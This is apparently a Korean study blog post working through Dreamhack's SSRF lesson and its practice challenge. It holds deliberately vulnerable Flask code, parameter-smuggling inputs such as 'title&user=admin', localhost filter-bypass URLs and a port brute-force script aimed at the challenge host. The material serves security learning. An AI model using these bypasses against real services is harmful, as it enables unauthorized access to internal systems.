STAGE 9 : Server Side Request Forgery (SSRF)

 

SSRF

 

> ServerSide : SSRF

마이크로서비스

: SW가 잘 정의된 API를 통해 통신하는 소규모의 독립적인 서비스로 구성되어 있는 경우의 SW개발을 위한 아키텍처 및 조직적 접근 방식

- 최근 웹 서비스는 지원하는 기능이 증가함에 따라 구성요소가 증가했고, 이에 따라 관리 및 코드의 복잡도를 낮추기 위해 마이크로 서비스들로 웹 서비스를 구현하는 추세이다. 

- 각 마이크로서비스는 주로 HTTP, GRPC 등을 사용해 API 통신을 한다.

- 서비스 간 HTTP 통신이 이뤄질 때 요청 내의 이용자의 입력값이 포함될 수 있고, 이를 통해 의도하지 않은 요청이 전송될 수 있다.

 

 

Server Side Request Forgery (SSFR)

: 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청을 보낼 수 있다.

- 최근 대다수 서비스들은 마이크로서비스로 구조를 많이 바꾸고, 새롭게 개발하는 추세이기 때문에 SSRF 취약점의 파급력이 더욱 높아지고 있다.

- 백오피스 서비스( = 관리자 페이지) : 이용자의 행위가 의심스러울 때 해당 계정을 정지시키거나 삭제하는 등 관리자만이 수행할 수 있는 모든 기능을 구현한 서비스, 내부망에 위치

- 웹 서비스는 의심스러운 행위를 탐지하고 실시간으로 대응하기 위해 백오피스의 기능을 실행할 수 있다. (웹 서비스는 외부에서 직접 접근할 수 없는 내부망 서비스와 통신할 수 있다.)

- 만약 공격자가 SSRF 취약점을 통해 웹 서비스의 권한으로 요청을 보낼 수 있다면 공격자는 외부에서 간접적으로 내부망 서비스를 이용할 수 있고 이는 곧 기업에 막대한 피해를 입힐 수 있다.

- 웹 서비스가 보내는 요청을 변조하기 위해 요청 내에 이용자의 입력값이 포함되어야 한다.

- 입력값이 포함되는 예시 : 웹 서비스가 이용자가 입력한 URL에 요청을 보내거나 요청을 보낼 URL에 이용자 번호와 같은 내용이 사용되는 경우, 그리고 이용자가 입력한 값이 HTTP Body에 포함되는 경우로 나눠볼 수 있다.

 

이용자가 입력한 URL에 요청을 보내는 경우

▶ 분석

# pip3 install flask requests # 파이썬 flask, requests 라이브러리를 설치하는 명령입니다.
# python3 main.py # 파이썬 코드를 실행하는 명령입니다.
from flask import Flask, request
import requests
app = Flask(__name__)
@app.route("/image_downloader")
def image_downloader():
    # 이용자가 입력한 URL에 HTTP 요청을 보내고 응답을 반환하는 페이지 입니다.
    image_url = request.args.get("image_url", "") # URL 파라미터에서 image_url 값을 가져옵니다.
    response = requests.get(image_url) # requests 라이브러리를 사용해서 image_url URL에 HTTP GET 메소드 요청을 보내고 결과를 response에 저장합니다.
    return ( # 아래의 3가지 정보를 반환합니다.
        response.content, # HTTP 응답으로 온 데이터
        200, # HTTP 응답 코드
        {"Content-Type": response.headers.get("Content-Type", "")}, # HTTP 응답으로 온 헤더 중 Content-Type(응답 내용의 타입)
    )
@app.route("/request_info")
def request_info():
    # 접속한 브라우저(User-Agent)의 정보를 출력하는 페이지 입니다.
    return request.user_agent.string
app.run(host="127.0.0.1", port=8000)

- 이용자가 전달한 URL에 요청을 보내는 예제 코드

 

▷ image_downloader

- 이용자가 입력한 image_url을 requests.get함수를 사용해 GET메소드로 HTTP 요청을 보내고 응답을 반환한다.

- 브라우저에서 아래와 같은 URL을 입력하면 드림핵 페이지에 요청을 보내고 응답을 반환한다.

http://127.0.0.1:8000/image_downloader?image_url=https://dreamhack.io/assets/dreamhack_logo.png

 

▷ request_info

- 웹 페이지에 접속한 브라우저의 정보를 반환한다.

- 브라우저를 통해 해당 엔드포인트에 접근하면 접속하는데에 사용된 브라우저의 정보가 출력된다.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4558.0 Safari/537.36

 

▶ 문제점확인

아래와 같이 image_downloader 엔드포인트의 image_url에 request_info 엔드포인트 경로를 입력한다.

http://127.0.0.1:8000/image_downloader?image_url=http://127.0.0.1:8000/request_info

- 위 경로에 접속하면 image_downloader에서는 http://127.0.0.1:8000/request_info URL에 HTTP 요청을 보내고 응답을 반환한다.

- 반환한 값을 확인해보면 브라우저로 request_info 엔드포인트에 접속했을 때와 다르게 브라우저 정보가 python-requests/2.11.1인 것을 확인할 수 있다.

- 접속한 브라우저 정보로 python-requests가 출력된 이유는 웹 서비스에서 HTTP 요청을 보냈기 때문이다.

- 이처럼 이용자가 웹 서비스에서 사용하는 마이크로서비스의 API 주소를 알아내고, image_url에 주소를 전달하면 외부에서 직접 접근할 수 없는 마이크로서비스의 기능을 임의로 사용할 수 있다.

 

 

웹 서비스의 요청 URL에 이용자의 입력값이 포함되는 경우

▶ 분석

INTERNAL_API = "http://api.internal/"
# INTERNAL_API = "http://172.17.0.3/"
@app.route("/v1/api/user/information")
def user_info():
	user_idx = request.args.get("user_idx", "")
	response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
@app.route("/v1/api/user/search")
def user_search():
	user_name = request.args.get("user_name", "")
	user_type = "public"
	response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")

- 이용자가 입력값이 포함된 URL에 요청을 보내는 예제 코드

 

▷ user_info

- 이용자가 전달한 user_idx값을 내부 API의 URL경로로 사용한다.

http://x.x.x.x/v1/api/user/information?user_idx=1

- 이용자가 위와 같이 user_idx를 1로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보낸다.

http://api.internal/user/1

 

▷ user_search

- 이용자가 전달한 user_name값을 내부 API의 쿼리로 사용한다.

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4558.0 Safari/537.36

- 이용자가 위와 같이 user_name을 "hello"로 설정하고 요청을 보내면 웹 서비스는 다음과 같은 주소에 요청을 보낸다.

http://api.internal/user/search?user_name=hello&user_type=public

 

▶ 문제점확인

- 웹 서비스가 요청하는 URL에 이용자의 입력값이 포함되면 요청을 변조할 수 있다.

- 이용자의 입력값 중 URL의 구성 요소 문자를 삽입하면 API 경로를 조작할 수 있다.

ex) 예시코드의 user_info함수에서 user_idx에 ../search를 입력할 경우 웹 서비스는 다음과 같은 URL에 요청을 보낸다.

http://api.internal/search

 

- 이 취약점은 경로를 변조한다는 의미에서 Path Traversal이라고 불린다.

- # 문자를 입력해 경로를 조작할 수 있다.

ex) user_search함수에서 user_name에 secret&user_type=private#를 입력할 경우 웹 서비스는 다음과 같은 URL에 요청을 보낸다.

http://api.internal/search?user_name=secret&user_type=private#&user_type=public

- # 문자는 Fragment Identifier 구분자로, 뒤에 붙는 문자열은 API 경로에서 생략된다.

- 따라서 해당 URL은 실제로 아래와 같은 URL을 나타낸다.

http://api.internal/search?user_name=secret&user_type=private

 

 

웹 서비스의 요청 Body에 이용자의 입력값이 포함되는 경우

▶ 분석

# pip3 install flask
# python main.py
from flask import Flask, request, session
import requests
from os import urandom
app = Flask(__name__)
app.secret_key = urandom(32)
INTERNAL_API = "http://127.0.0.1:8000/"
header = {"Content-Type": "application/x-www-form-urlencoded"}
@app.route("/v1/api/board/write", methods=["POST"])
def board_write():
    session["idx"] = "guest" # session idx를 guest로 설정합니다.
    title = request.form.get("title", "") # title 값을 form 데이터에서 가져옵니다.
    body = request.form.get("body", "") # body 값을 form 데이터에서 가져옵니다.
    data = f"title={title}&body={body}&user={session['idx']}" # 전송할 데이터를 구성합니다.
    response = requests.post(f"{INTERNAL_API}/board/write", headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content # INTERNAL API 의 응답 결과를 반환합니다.
@app.route("/board/write", methods=["POST"])
def internal_board_write():
    # form 데이터로 입력받은 값을 JSON 형식으로 반환합니다.
    title = request.form.get("title", "")
    body = request.form.get("body", "")
    user = request.form.get("user", "")
    info = {
        "title": title,
        "body": body,
        "user": user,
    }
    return info
@app.route("/")
def index():
    # board_write 기능을 호출하기 위한 페이지입니다.
    return """
        <form action="/v1/api/board/write" method="POST">
            <input type="text" placeholder="title" name="title"/><br/>
            <input type="text" placeholder="body" name="body"/><br/>
            <input type="submit"/>
        </form>
    """
app.run(host="127.0.0.1", port=8000, debug=True)

- 이용자가 입력값이 요청의 Body에 포함되는 예제 코드

 

▷ body_write

- 이용자의 입력값을 HTTP Body에 포함되고 내부 API로 요청을 보낸다.

- 전송할 데이터를 구성할 때 세션 정보를 "guest" 계정으로 설정한다.

 

▷ internal_body_write

- body_write 함수에서 요청하는 내부 API를 구현한 기능이다.

- 전달된 title, body 그리고 계정 이름을 JSON 형식으로 변환하고 반환한다.

 

▷index

- body_write 기능을 호출하기 위한 인덱스 페이지이다.

 

▶ 문제점확인

- 코드를 실행하고 다음 URL에 접속하면 title과 body를 입력하는 페이지가 표시된다.

http://127.0.0.1:8000

 

- 입력창에 값을 입력하고 제출 버튼을 누르면 다음과 같은 응답을 확인할 수 있다.

{ "body": "body", "title": "title", "user": "guest" }

 

- 요청을 전송할 때 세션 정보를 "guest"로 설정했기 때문에 "user"가 "guest"인 것을 확인할 수 있다.

- 예시 코드를 살펴보면, 내부 API로 요청을 보내기 전에 아래와 같이 데이터를 구성하는 것을 확인할 수 있다.

data = f"title={title}&body={body}&user={session['idx']}

 

- 데이터를  구성할 때 이용자의 입력값인 title, body 그리고 user의 값을 파라미터 형식으로 설정한다.

- 이로 인해 이용자가 URL에서 파라미터를 구분하기 위해 사용하는 구분 문자인 &를 포함하면 설정되는 data의 값을 변조할 수 있다.

- title에서 title&user=admin를 삽입하면 다음과 같이 data가 구성된다.

title=title&user=admin&body=body&user=guest

 

- 이용자가 & 구분자를 포함해 user 파라미터를 추가했다.

- 내부 API에서는 전달받은 값을 파싱할 때 앞에 존재하는 파라미터의 값을 가져와 사용하기 때문에 user의 값을 변조할 수 있다.

- title&user=admin를 삽입했을 때의 실행 결과를 확인해보면 user가 “admin”으로 변조된 것을 확인할 수 있다.

{ "body": "body", "title": "title", "user": "admin" }

 

 

[함께실습] SSRF

> Exercise : SSRF

▶ 웹서비스 분석

▷ img_viewer

: GET과 POST 요청을 처리

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET": 
        return render_template("img_viewer.html") 
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) 
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): 
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

- GET : img_viewer.html을 렌더링

- POST : 이용자가 입력한 url에 HTTP요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링한다.

 

▷ run_local_server

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
    local_server.serve_forever()
    
    
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.

- 파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다.

- http.server.HTTPServer의 두번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.

- 호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가능하다.

 

 

▶ 취약점 분석

▷ img_viewer

- 이용자가 POST로 전달한 url에 HTTP요청을 보내고, 응답을 반환한다.

- img_viewer는 서버 주소에 "127.0.0.1", "localhost"이 포함된 url로의 접근을 막는다.

- 이를 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있다.

URL 필터링
: URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호 기법

- 블랙리스트 필터링 : URL에 포함되면 안되는 문자열로 블랙리스트를 만들고, 이를 이용하여 이용자의 접근을 제어한다.
- 화이트리스트 필터링 : 접근을 허용할 URL로 화이트리스트를 만들고 이 외의 접근은 차단한다.

 

▶ 익스플로잇

▷ URL 필터링 우회

127.0.0.1과 매핑된 도메임 이름 사용

- 도메인 이름을 구매하면, 이를 DNS 서버에 등록하여 원하는 IP주소와 연결할 수 있다.

- 등록한 이름이 IP주소로 리졸브된다.

- 따라서 임의의 도메인 이름을 구매하여 127.0.0.1과 연결하고, 그 이름을 url로 사용하면 필터링을 우회할 수 있다.

- 이미 127.0.0.1에 매핑된 "*.vcap.me"를 이용하는 방법도 있다. 

 

127.0.0.1의 alias 이용

- 하나의 IP는 여러 방식으로 표기될 수 있다.

ex) 127.0.0.1    --16진수로 변환-->    0x7f 0x00 0x00 0x01 , 0x7f 0x00 0x00 0x01

                       --'.'을 제거--> 0x7f000001 , 0x7f000001

                       --10진수로 변환--> 2130706433

                       --각 자리에 0을 생략--> 127.1 127.0.1

- 특히 127.0.0.1부터 127.0.0.255까지의 IP는 루프백주소이며 이는 모두 로컬 호스트를 가리킨다.

 

localhost의 alias 이용

- URL에서 호스트와 스킴는 대소문자를 구분하지 않는다.

- 따라서 "localhost"의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미한다.

 

Proof-of-Concept

- 로컬호스트의 8000번 포트에는 문제 서버가 실행되고 있는데 아래 URL을 image viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환된다.

- 따라서 아래 URL은 로컬호스트를 가리키면서 필터링을 우회할 수 있다.

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

 

▷ 포트 찾기

랜덤한 포트 찾기

- 내부 HTTP 서버는 포트 번호가 1500이상 1800이하인 임의 포트에서 실행되고 있다.

- 위 URL을 활용하여 스크립트를 작성하면 브루트포스로 포트를 찾을 수 있다.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

 

위 코드를 cmd에서 실행해주었더니 아래와 같이 포트번호가 1739라는 것을 알 수 있었다.

 

아래와 같이 획득한 포트번호를 이용해 url을 작성해주었다.

 

실행한 결과, 아래와 같이 이미지가 나왔다.

 

개발자 도구를 들어가 img를 확인해주었더니 base64 코드가 나왔다.

 

base64 디코더에 이를 넣어주었더니 flag를 획득할 수 있었다.

'Web Hacking > Dreamhack' 카테고리의 다른 글

[Dreamhack] Web Hacking STAGE 10  (0) 2022.08.27
[Dreamhack] Web Hacking STAGE 8  (0) 2022.08.18
[Dreamhack] Web Hacking STAGE 7  (0) 2022.08.09
[Dreamhack] Web Hacking STAGE 6  (0) 2022.08.02
[Dreamhack] Web Hacking STAGE 5  (0) 2022.07.25

+ Recent posts